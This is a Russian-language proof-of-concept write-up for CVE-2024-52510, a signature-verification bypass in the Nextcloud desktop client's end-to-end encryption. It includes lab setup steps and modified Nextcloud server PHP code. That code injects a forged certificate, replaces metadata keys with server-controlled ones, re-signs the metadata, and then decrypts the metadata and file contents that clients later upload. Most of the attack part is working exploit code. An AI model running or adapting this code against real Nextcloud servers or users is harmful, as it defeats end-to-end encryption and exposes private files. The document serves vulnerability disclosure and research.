
CVE-2024-52510 - Нарушение конфиденциальности в сквозном шифровании Nextcloud
При нормальной работе протокола E2EEv2 в Nextcloud клиенты криптографически подписывают метаданные папок перед загрузкой на сервер. Это гарантирует, что метаданные не были подменены при их повторном получении для целей совместного использования файлов или синхронизации изменений.
Проверка подписи выполняется клиентом в
foldermetadata.cpp:177
при инициализации полученных метаданных. Однако у вредоносного сервера есть два способа обойти эту проверку:
Он может ответить пустым заголовком ответа X-E2EE-SIGNATURE. Поскольку
заголовок пуст, условие в
foldermetadata.cpp:168
означает, что проверка подписи не выполняется, и изменённые метаданные
принимаются клиентом.
Он может внедрить сертификат в JSON-массив users, а затем подписать
метаданные этим сертификатом. Поскольку CMS_NO_SIGNER_CERT_VERIFY
передаётся в
clientsideencryption.cpp:941,
сертификат подписи не проверяется по цепочке доверия, и клиент проверяет
только наличие сертификата подписи в векторе certificatePems
(clientsideencryption.cpp:955-971),
который контролируется сервером.
В этом POC мы продемонстрируем второй метод, так как он сложнее в реализации, однако оба метода были протестированы и работают.
Вредоносный сервер может использовать этот обход, чтобы предоставлять клиентам ключи метаданных, известные серверу. Клиенты затем будут использовать этот ключ метаданных для шифрования последующих файлов, что позволит серверу расшифровывать и читать файлы в папках со сквозным шифрованием.
Этот способ эксплуатации обхода подписи основан на атаке, найденной Альбрехтом, Бекендалом, Копполой и Патерсоном в 2023 году (https://eprint.iacr.org/2024/546) на предыдущую версию протокола E2EE. Действительно, аутентификация ключей метаданных была мерой противодействия этой атаке (см. раздел 5.1 указанной статьи).
Клонируйте этот репозиторий и откройте его в VS Code с помощью расширения DevContainer. Предоставляется DevContainer на основе контейнера из репозитория сервера Nextcloud со следующими изменениями:
7001 доступен обратный прокси-сервер mitmproxy. Веб-интерфейс доступен на порту 7002.encryption и end_to_end_encryption, и будет создана учётная запись с именем пользователя и паролем sharer.Когда сервер будет запущен, подключитесь к нему по адресу http://localhost:8000 (или через обратный прокси-сервер по адресу http://localhost:7001) с помощью последней версии клиента. В настоящее время я тестировал это на AppImage v3.13.2.
sha256sum Nextcloud-3.13.2-x86_64.AppImage
92ec0a5260f6260fa8ce92acdb022c441f0efbf6b57cc96d75ac608ccb4c4ee2 Nextcloud-3.13.2-x86_64.AppImage
При появлении запроса войдите с именем пользователя sharer и паролем sharer. Примите параметры синхронизации по умолчанию (будет создан каталог ~/Nextcloud/ с файлом welcome.txt внутри), а затем настройте сквозное шифрование в настройках клиента Nextcloud.
Создайте новую папку encrypted_folder в каталоге ~/Nextcloud. В настройках клиента Nextcloud отметьте эту папку как зашифрованную.

Nextcloud/encrypted_folder создайте простой текстовый файл и дождитесь его синхронизации.# ~/Nextcloud/encrypted_folder
$ echo 'this should be encrypted' > file.txt
Войдите в базу данных Postgres в Adminer по адресу http://localhost:8080/, используя учётные данные:
postgrespostgrespostgresи перейдите к таблицам oc_e2e_encryption_metadata и oc_e2e_encryption_decrypted. Вы должны увидеть расшифрованные метаданные и содержимое файлов в открытом виде.

На скриншотах выше было создано и удалено пара дополнительных тестовых файлов, поэтому они будут немного отличаться от того, что вы увидите.
Этот репозиторий основан на репозиториях сервера Nextcloud и приложения сквозного шифрования. Большая часть кода осталась без изменений, поэтому я постараюсь объяснить, что именно было изменено.
Во-первых, метод getMetadata в MetaDataStorage.php был изменён: теперь он подменяет возвращаемые метаданные, вызывая новый метод getFakeUserMetadata.
--- original/lib/MetaDataStorage.php 2024-07-11 23:38:16.105826088 +1000
+++ nc-server/apps/end_to_end_encryption/lib/MetaDataStorage.php 2024-07-11 21:05:37.734565037 +1000
@@ -68,14 +82,12 @@
return $legacyFile->getContent();
}
- $folderName = $this->getFolderNameForFileId($id);
- $folder = $this->appData->getFolder($folderName);
+ $metaData = $this->getFakeUserMetadata($id);
- return $folder
- ->getFile($this->metaDataFileName)
- ->getContent();
+ return $metaData;
}
В методе getFakeUserMetadata мы сначала внедряем выбранный сертификат в JSON-ключ users. Это необходимо для подделки подписи.
private function getFakeUserMetadata(int $id): string {
$folderName = $this->getFolderNameForFileId($id);
$folder = $this->appData->getFolder($folderName);
$metaData = json_decode($folder->getFile($this->metaDataFileName)->getContent());
if (is_null($metaData->users)) {
/* This is a non-root metadata. Return as normal*/
return json_encode($metaData);
}
/*
* Step 1: Inject a fake public key into the metadata
* This can be used to forge a signature for the response.
*/
$found = false;
foreach ($metaData->users as $userData) {
if ($userData->userId === $this->fakeUserId) {
$found = true;
break;
}
}
if (!$found) {
try {
$certificateFile = $folder->getFile($this->fakeUserPublicCertificateFileName);
$privateKeyFile = $folder->getFile($this->fakeUserPrivateKeyFileName);
$pemCertificate = $certificateFile->getContent();
} catch (NotFoundException $e) {
/* Create a new private key for the fake user */
$privateKey = openssl_pkey_new();
openssl_pkey_export($privateKey, $privateKeyPem);
$folder->newFile($this->fakeUserPrivateKeyFileName)->putContent($privateKeyPem);
/* Client is expecting a certificate for the public key */
$csr = openssl_csr_new(array(), $privateKey);
$certificate = openssl_csr_sign($csr, null, $privateKey, 365);
openssl_x509_export($certificate, $pemCertificate);
$folder->newFile($this->fakeUserPublicCertificateFileName)->putContent($pemCertificate);
}
$newUser = new \stdClass();
$newUser->certificate = $pemCertificate;
array_push($metaData->users, $newUser);
}
Затем, поскольку у нас есть доступ к открытому ключу клиента, мы можем зашифровать наши собственные ключи и заменить зашифрованные ключи метаданных на ключи, которые мы контролируем.
/*
* Step 2: Change all the metadata keys to keys that we control.
*/
foreach ($metaData->users as $userData) {
$publicKey = PublicKeyLoader::load($userData->certificate)->withHash('sha256')->withMGFHash('sha256');
$fakeEncryptedMetadataKey = $publicKey->encrypt($this->fakeMetadataKey);
$userData->encryptedMetadataKey = base64_encode($fakeEncryptedMetadataKey);
}
/* We need to set userId after setting encryptedMetadataKey, as Qt will serialize json keys in alphabetical order */
if (!is_null($newUser)) {
$newUser->userId = $this->fakeUserId;
}
Поскольку мы изменили ключи метаданных, нам также потребуется заменить и шифротекст. Если мы уже успешно провели атаку, у нас будет доступ к реальным метаданным, которые мы можем повторно зашифровать. В противном случае мы инициализируем пустой объект метаданных и зашифруем его.
/*
* Step 3: Replace the encrypted metadata with one that can be decrypted under the new key.
* Then as long as we don't trigger a downsync, the next PUT will
* contain metadata encrypted with a key known to us.
*/
$fakeMetadata = new \stdClass();
$fakeMetadata->folders = new \stdClass();
$fakeMetadata->files = new \stdClass();
try {
$metadataEntities = $this->metadataMapper->getByFolderId($id);
foreach ($metadataEntities as $metadataEntity) {
$encryptedFilename = $metadataEntity->getEncryptedFilename();
if ($metadataEntity->isDirectory()) {
$fakeMetadata->folders->$encryptedFilename = $metadataEntity->toJson();
} else {
$fakeMetadata->files->$encryptedFilename = $metadataEntity->toJson();
}
}
} catch (DoesNotExistException $ex) {
/* Return empty metadata */
}
$fakeMetadata->counter = $this->getCounter($id);
/* keyChecksums needs to contain the SHA256 of the decrypted metadata key (in hex) */
$fakeMetadata->keyChecksums = array();
array_push($fakeMetadata->keyChecksums, hash("sha256", $this->fakeMetadataKey));
/* Then the AES-128-GCM ciphertext of the gzipped json object goes into the response */
$plaintext = gzencode(json_encode($fakeMetadata));
$nonce = openssl_random_pseudo_bytes(16);
$ciphertext = openssl_encrypt($plaintext, "aes-128-gcm", $this->fakeMetadataKey, OPENSSL_RAW_DATA, $nonce, $authenticationTag);
$metaData->metadata->authenticationTag = base64_encode($authenticationTag);
$metaData->metadata->ciphertext = base64_encode($ciphertext . $authenticationTag) . "|" . base64_encode($nonce);
$metaData->metadata->nonce = base64_encode($nonce);
$metaData = json_encode($metaData, JSON_UNESCAPED_SLASHES);
/* Ensure whatever metadata we return syncs up with what is stored on disk */
$folder->getFile($this->metaDataFileName)->putContent($metaData);
Наконец, мы берём изменённую JSON-полезную нагрузку и заново подписываем её нашим сертификатом. Альтернативный вариант — использовать здесь пустую подпись.
/* Note: We only need to forge a signature for root metadata */
$certificateFile = $folder->getFile($this->fakeUserPublicCertificateFileName);
$privateKeyFile = $folder->getFile($this->fakeUserPrivateKeyFileName);
$pemCertificate = $certificateFile->getContent();
$privateKey = openssl_pkey_get_private($privateKeyFile->getContent());
$signatureTempFile = tempnam(sys_get_temp_dir(), "signature");
$metadataTempFile = tempnam(sys_get_Temp_dir(), "metadata");
file_put_contents($metadataTempFile, base64_encode($metaData));
if (openssl_cms_sign($metadataTempFile, $signatureTempFile, $pemCertificate, $privateKey, array(), 0, OPENSSL_ENCODING_DER)) {
$signature = base64_encode(file_get_contents($signatureTempFile));
$this->writeSignature($folder, $this->metaDataSignatureFileName, $signature);
} else {
$this->writeSignature($folder, $this->metaDataSignatureFileName, "");
}
unlink($signatureTempFile);
unlink($metadataTempFile);
return $metaData;
}
После того как метаданные были подменены, клиент будет использовать наш ключ шифрования для шифрования любых новых метаданных. При получении любых новых метаданных мы пытаемся расшифровать их с помощью нашего ключа.
--- original/lib/Controller/MetaDataController.php 2024-07-11 23:38:16.102492800 +1000
+++ nc-server/apps/end_to_end_encryption/lib/Controller/MetaDataController.php 2024-07-11 20:54:06.794689137 +1000
@@ -164,9 +170,11 @@
}
if ($this->lockManager->isLocked($id, $e2eToken, null, true)) {
throw new OCSForbiddenException($this->l10n->t('You are not allowed to edit the file, make sure to first lock it, and then send the right token'));
}
+ $this->metaDataStorage->decryptMetaData($id, $metaData);
+
try {
$this->metaDataStorage->updateMetaDataIntoIntermediateFile($this->userId, $id, $metaData, $e2eToken, $signature);
} catch (MissingMetaDataException $e) {
public function decryptMetaData(int $id, string $metaData) {
$this->verifyFolderStructure();
$folderName = $this->getFolderNameForFileId($id);
$folder = $this->appData->getFolder($folderName);
/* Try to decrypt the incoming metadata with our fake key */
$metaData = json_decode($metaData);
$authenticationTag = base64_decode($metaData->metadata->authenticationTag);
$ciphertextAndTag = base64_decode(explode("|", $metaData->metadata->ciphertext)[0]);
$ciphertext = substr($ciphertextAndTag, 0, -16);
$nonce = base64_decode($metaData->metadata->nonce);
$gzippedPlaintext = openssl_decrypt($ciphertext, "aes-128-gcm", $this->fakeMetadataKey, OPENSSL_RAW_DATA, $nonce, $authenticationTag);
/* If we succeed, store the decrypted metadata */
if ($gzippedPlaintext) {
$decodedMetadata = json_decode(gzdecode($gzippedPlaintext));
foreach ($decodedMetadata->files as $encryptedFilename => $file) {
try {
$metadataEntity = $this->metadataMapper->getByFolderIdAndEncryptedFilename($id, $encryptedFilename);
$metadataEntity->setEncryptedFilename($encryptedFilename);
$metadataEntity->setKey($file->key);
$metadataEntity->setKey($file->key);
$metadataEntity->setNonce($file->nonce);
$metadataEntity->setAuthenticationTag($file->authenticationTag);
$metadataEntity->setFilename($file->filename);
$this->metadataMapper->update($metadataEntity);
} catch (DoesNotExistException $ex) {
$newMetadata = new Metadata();
$newMetadata->setFolderId($id);
$newMetadata->setEncryptedFilename($encryptedFilename);
$newMetadata->setKey($file->key);
$newMetadata->setNonce($file->nonce);
$newMetadata->setAuthenticationTag($file->authenticationTag);
$newMetadata->setFilename($file->filename);
$this->metadataMapper->insert($newMetadata);
}
}
foreach ($decodedMetadata->folders as $encryptedFilename => $filename) {
try {
$metadataEntity = $this->metadataMapper->getByFolderIdAndEncryptedFilename($id, $encryptedFilename);
$metadataEntity->setFilename($filename);
$this->metadataMapper->update($metadataEntity);
} catch (DoesNotExistException $ex) {
$newMetadata = new Metadata();
$newMetadata->setFolderId($id);
$newMetadata->setEncryptedFilename($encryptedFilename);
$newMetadata->setFilename($filename);
$this->metadataMapper->insert($newMetadata);
}
}
}
}
Наконец, мы создаём слушатель события создания нового файла и пытаемся расшифровать его с помощью ключей файлов, найденных в расшифрованных метаданных.
class NodeCreatedListener implements IEventListener {
private MetadataMapper $metadataMapper;
private PlaintextMapper $plaintextMapper;
public function __construct(MetadataMapper $metadataMapper, PlaintextMapper $plaintextMapper) {
$this->metadataMapper = $metadataMapper;
$this->plaintextMapper = $plaintextMapper;
}
public function handle(Event $event): void {
if (!($event instanceof NodeCreatedEvent)) {
return;
}
$node = $event->getNode();
$encryptedFilename = preg_replace('/\.e2e-to-save$/', '', $node->getName());
if ($node instanceof File) {
$curr = $node;
while (!($curr instanceof Root)) {
$curr = $curr->getParent();
$id = $curr->getId();
try {
$metadata = $this->metadataMapper->getByFolderIdAndEncryptedFilename($id, $encryptedFilename);
} catch (DoesNotExistException $ex) {
continue;
}
/* Metadata found: try to decrypt */
$key = base64_decode($metadata->getKey());
$nonce = base64_decode($metadata->getNonce());
$authenticationTag = base64_decode($metadata->getAuthenticationTag());
$ciphertext = substr($node->getContent(), 0, -16);
$plaintext = openssl_decrypt($ciphertext, "aes-128-gcm", $key, OPENSSL_RAW_DATA | OPENSSL_ZERO_PADDING, $nonce, $authenticationTag);
if ($plaintext) {
/* Decryption successful. Store in DB */
try {
$plaintextEntity = $this->plaintextMapper->getById($metadata->getId());
$plaintextEntity->setPlaintext($plaintext);
$this->plaintextMapper->update($plaintextEntity);
} catch (DoesNotExistException $ex) {
$plaintextEntity = new Plaintext();
$plaintextEntity->setId($metadata->getId());
$plaintextEntity->setPlaintext($plaintext);
$this->plaintextMapper->insert($plaintextEntity);
}
break;
}
}
}
}
}